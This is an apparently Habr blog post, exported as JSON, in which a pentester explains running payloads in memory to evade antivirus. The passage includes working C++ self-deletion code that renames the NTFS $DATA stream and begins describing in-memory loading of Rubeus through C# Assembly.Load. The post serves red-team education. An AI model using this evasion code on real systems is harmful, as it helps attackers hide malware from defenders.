{"id":357342,"date":"2024-05-20T23:48:45","date_gmt":"2024-05-20T23:48:45","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=357342"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=357342","title":{"rendered":"<span>\u0414\u0438\u0441\u043a \u2013 \u044d\u0442\u043e \u043b\u0430\u0432\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c \u043c\u0435\u0442\u043e\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0438\u0306\u043b\u043e\u0430\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/639\/316\/54e\/63931654ef2706b186baab4ed58c0fc6.png\" width=\"1560\" height=\"877\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/639\/316\/54e\/63931654ef2706b186baab4ed58c0fc6.png\"\/><\/figure>\n<p>\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440! \u041c\u0435\u043d\u044f \u0437\u043e\u0432\u0443\u0442 \u041c\u0438\u0448\u0430, \u044f \u0440\u0430\u0431\u043e\u0442\u0430\u044e \u0432 \u041c\u0422\u0421 RED \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430.<\/p>\n<p>\u0412 \u0445\u043e\u0434\u0435 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432 \u043e\u0447\u0435\u043d\u044c \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0431\u043e\u0440\u043e\u0442\u044c\u0441\u044f \u0441 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430\u043c\u0438. \u0423\u0432\u044b, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043d\u0438\u043c\u0430\u0442\u044c \u043c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0442\u043e \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e \u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0435\u0441\u0442\u044c \u043f\u0430\u0440\u043e\u0447\u043a\u0430 \u043a\u0440\u0443\u0442\u044b\u0445 \u0442\u0440\u044e\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442 \u043d\u0430 \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0431\u044b\u0442\u044c \u043f\u0440\u043e \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435, \u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445 &#8212; \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438.<\/p>\n<p>\u041d\u0438 \u0434\u043b\u044f \u043a\u043e\u0433\u043e \u043d\u0435 \u0441\u0435\u043a\u0440\u0435\u0442, \u0447\u0442\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0431\u0443\u0434\u044c \u0442\u043e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0434\u043b\u044f Cobalt Strike, \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043e\u0442 \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0434\u0430\u043c\u043f\u0438\u043b\u043a\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 lsass.exe. \u0427\u0442\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442 \u0432\u0441\u0435 \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b? \u0422\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u0430\u0432\u043d\u044b\u043c-\u0434\u0430\u0432\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430\u043c, \u0438 \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445\u00a0 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u0431\u0435\u0437 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0444\u0430\u043a\u0442 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. <\/p>\n<p>\u0417\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043c\u043e\u043c\u0435\u043d\u0442? \u0424\u0430\u043a\u0442 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 <strong>\u043d\u0430 \u0434\u0438\u0441\u043a\u0435<\/strong>. \u041d\u0435\u0443\u0436\u0435\u043b\u0438 \u0435\u0441\u043b\u0438 \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043d\u0430\u0443\u0447\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u0442\u043e \u043f\u0440\u043e\u0439\u0434\u0451\u043c \u043d\u0438\u0436\u0435 \u0440\u0430\u0434\u0430\u0440\u043e\u0432 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c\u0441\u044f \u0441 \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0443\u0432\u0438\u0434\u0438\u043c, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0436\u0438\u0437\u043d\u044c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u043d\u0435\u0442 \u043f\u0440\u043e\u0449\u0435, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0430\u0443\u0447\u0430\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f \u0434\u0438\u0441\u043a. <\/p>\n<h2>\u041e\u0441\u043d\u043e\u0432\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 <\/h2>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0e0\/4c6\/78a\/0e04c678a892e5dc988223103f6627e3.png\" width=\"1218\" height=\"1219\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/0e0\/4c6\/78a\/0e04c678a892e5dc988223103f6627e3.png\"\/><\/figure>\n<p>\u041d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u043d\u0430 \u0445\u0430\u0440\u0434\u043a\u043e\u0440, \u044f \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u044e\u0441\u044c \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0438 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u043c \u044f\u0437\u044b\u043a\u043e\u043c. <\/p>\n<p>\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435. \u042f \u0431\u044b \u0434\u0430\u0436\u0435 \u0441\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0432\u0441\u0435\u0308 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043a \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f. \u041f\u043e \u0441\u0443\u0442\u0438 \u0434\u0438\u0441\u043a \u2014 \u043b\u0438\u0448\u044c \u043f\u043b\u0430\u0446\u0434\u0430\u0440\u043c, \u0441\u043a\u043b\u0430\u0434, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0442\u044f\u043d\u0443\u0442\u0441\u044f \u043d\u0443\u0436\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043f\u0440\u043e\u0435\u0446\u0438\u0440\u0443\u0435\u0442 \u0438\u0445 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u041d\u0438\u0447\u0442\u043e \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u043d\u0430\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0440\u0443\u0447\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0431\u0430\u0439\u0442\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c. <\/p>\n<p>\u0418\u0442\u0430\u043a, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u0438\u0441\u043a \u043d\u0430\u043c \u043a\u0430\u043a \u0442\u0430\u043a\u043e\u0432\u043e\u0439 \u043d\u0435 \u043d\u0443\u0436\u0435\u043d \u2014 \u0432\u0441\u0451 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0431\u0435\u0437 \u043d\u0435\u0433\u043e, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041f\u0443\u0441\u0442\u044c \u0443 \u043d\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u0444\u0430\u0439\u043b example.exe, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0435\u0441\u0442\u044c \u043d\u0430 \u0434\u0438\u0441\u043a\u0435, \u0430 \u043f\u043e\u0442\u043e\u043c \u0435\u0433\u043e \u043d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442: \u043e\u043d \u043f\u0440\u043e\u043f\u0430\u0434\u0451\u0442 \u0438 \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0432 \u041e\u0417\u0423. \u0422\u0430\u043a\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f Self-Deletion. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434, \u0430 \u0432 \u043d\u0451\u043c \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/windows\/win32\/api\/winbase\/nf-winbase-deletefile\">DeleteFIle()<\/a>, \u043d\u043e \u043d\u0435 \u0442\u0443\u0442-\u0442\u043e \u0431\u044b\u043b\u043e. \u041f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u0448\u0438\u0431\u043a\u0443 <code>0x5 ERROR_ACCESS_DENIED<\/code>. <\/p>\n<p>\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b NTFS, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Windows. \u0412 \u043d\u0435\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u043e\u0442\u043e\u043a $DATA. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u043f\u0430\u0434\u0451\u0442 \u044d\u0442\u043e\u0442 \u043f\u043e\u0442\u043e\u043a, \u0442\u043e \u0444\u0430\u0439\u043b \u0438\u0441\u0447\u0435\u0437\u043d\u0435\u0442, \u0435\u0433\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c. <\/p>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043f\u043e\u0442\u043e\u043a \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043d\u0435\u043b\u044c\u0437\u044f, \u043d\u043e \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438, \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0435\u0433\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0435 \u0431\u0443\u0434\u0435\u043c \u043e\u0441\u043e\u0431\u043e \u0443\u0433\u043b\u0443\u0431\u043b\u044f\u0442\u044c\u0441\u044f \u0432 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438. \u041e\u0442\u043c\u0435\u0447\u0443 \u043b\u0438\u0448\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/fileapi\/nf-fileapi-setfileinformationbyhandle\">SetFileInformationByHandle()<\/a> \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 FileInformationClass \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/minwinbase\/ne-minwinbase-file_info_by_handle_class\">FileRenameInfo<\/a>, \u0430 \u0437\u0430\u0442\u0435\u043c FileDispositionInfo. <\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u043e\u0434<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cpp\">#include &lt;Windows.h> #include &lt;iostream> #define NEW_STREAM L\":HABRAHABR\"    BOOL DeleteSelf() {               WCHAR                   szPath[MAX_PATH * 2] = { 0 };             FILE_DISPOSITION_INFO   Delete = { 0 };             HANDLE                  hFile = INVALID_HANDLE_VALUE;             PFILE_RENAME_INFO       pRename = NULL;             const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;             SIZE_T                  sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);               pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);             if (!pRename) {                            printf(\"[!] HeapAlloc Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }                 ZeroMemory(szPath, sizeof(szPath));             ZeroMemory(&amp;Delete, sizeof(FILE_DISPOSITION_INFO));               Delete.DeleteFile = TRUE;             pRename->FileNameLength = sizeof(NewStream);             RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));               if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {                            printf(\"[!] GetModuleFileNameW Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }               hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);             if (hFile == INVALID_HANDLE_VALUE) {                            printf(\"[!] CreateFileW [R] Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }               wprintf(L\"[i] Renaming :$DATA to %s  ...\", NEW_STREAM);               if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {                            printf(\"[!] SetFileInformationByHandle [R] Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }             wprintf(L\"[+] DONE \\n\");               CloseHandle(hFile);               hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);             if (hFile == INVALID_HANDLE_VALUE) {                            printf(\"[!] CreateFileW [D] Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }               wprintf(L\"[i] DELETING ...\");               if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &amp;Delete, sizeof(Delete))) {                            printf(\"[!] SetFileInformationByHandle [D] Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }             wprintf(L\"[+] DONE \\n\");               CloseHandle(hFile);               HeapFree(GetProcessHeap(), 0, pRename);               return TRUE; }   int main() {             DeleteSelf();             getchar();             return 0; }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/embedd.srv.habr.com\/iframe\/6527efee962d8d30c1261840\" data-style=\"\" id=\"6527efee962d8d30c1261840\" width=\"\"><\/div>\n<p>\u041a\u0430\u043a \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0441\u0432\u043e\u044e \u0440\u0430\u0431\u043e\u0442\u0443, \u0434\u0430\u0436\u0435 \u043a\u043e\u0433\u0434\u0430 \u0441 \u0434\u0438\u0441\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0447\u0442\u043e-\u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c. \u042d\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c, \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0434\u0451\u0442 \u0435\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435. <\/p>\n<h2>\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u044f\u0437\u044b\u043a\u043e\u0432 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 <\/h2>\n<h3>C# \u0438 System.Reflection.Assembly<\/h3>\n<p>\u0423 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432 \u0435\u0441\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0443 C# \u0435\u0441\u0442\u044c \u043d\u0435\u0439\u043c\u0441\u043f\u0435\u0439\u0441 System.Reflection, \u0430 \u0432 \u043d\u0451\u043c \u043a\u043b\u0430\u0441\u0441 Assembly \u0441 \u043c\u0435\u0442\u043e\u0434\u043e\u043c Load, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f C# \u0441\u0431\u043e\u0440\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u041f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439: <\/p>\n<pre><code class=\"cs\">public static System.Reflection.Assembly Load (byte[] rawAssembly);<\/code><\/pre>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043e\u0434\u0438\u043d-\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2014 rawAssembly. \u041e\u043d \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0430\u0439\u0442\u043e\u0432 \u0441\u0431\u043e\u0440\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u044c. \u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b Rubeus.exe \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438, \u0432\u0435\u0434\u044c \u043e\u043d \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 C#. <\/p>\n<p>\u0414\u043b\u044f \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u0430\u0439\u0442\u043e\u0432 \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/dotnet\/api\/system.io.file.readallbytes?view=net-7.0\">File.ReadAllBytes<\/a>, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0431\u0430\u0439\u0442\u044b \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0443\u044e \u0432\u044b\u0448\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0435\u0451 \u0442\u043e\u0447\u043a\u0443 